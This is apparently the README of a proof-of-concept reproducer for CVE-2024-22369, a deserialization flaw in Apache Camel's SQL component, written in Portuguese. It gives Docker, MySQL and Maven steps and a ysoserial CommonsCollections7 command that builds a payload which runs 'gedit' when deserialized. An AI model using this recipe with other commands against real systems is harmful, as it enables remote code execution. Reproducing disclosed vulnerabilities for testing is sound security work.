
Reprodutor CVE-2024-22369
Este PoC é baseado no reprodutor construído por Ziyang Chen do HuaWei Open Source Management Center
O reprodutor foi utilizado para criar este PoC, com alguns ajustes e limpeza, e também enriquecido com mais automação.
Vamos precisar de uma instância do MySQL
docker run --name some-mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=my-secret-pw -e MYSQL_DATABASE=db -d mysql
Agora vamos precisar criar as tabelas necessárias:
Você tem dois arquivos: employee.sql e employee_completed.sql
Execute o seguinte comando:
docker run -it --rm mysql mysql -h 172.17.0.2 -uroot -p
Insira sua senha, execute USE db e execute os dois arquivos SQL.
Nesta etapa, você já tem os bits necessários para reproduzir a desserialização.
Execute o seguinte comando
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' some-mysql
e anote o endereço.
Agora edite o src/main/resources/application.properties de acordo com o estado do seu ambiente.
O payload que estamos usando é baseado no commons-collections 3.2.1.
Você precisará usar:
https://github.com/frohoff/ysoserial
Na linha de comando, você pode recriar o payload desta forma:
java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections7 gedit | xxd -p
Isso retornará a versão Hex do payload. A ideia é executar o comando gedit durante a desserialização.
Você pode brincar com possíveis payloads e alterar os scripts SQL modificando a instrução INSERT e adicionando os novos payloads gerados.
Para reproduzir o comportamento. Primeiro, selecione um JDK 17 (localmente ou via SDKMan).
Em seguida, execute o seguinte comando:
mvn clean install -Dcamel.version=4.3.0 -Dspring-boot.version=3.2.0 -Djava.version=17 spring-boot:run
Isso produzirá a seguinte saída: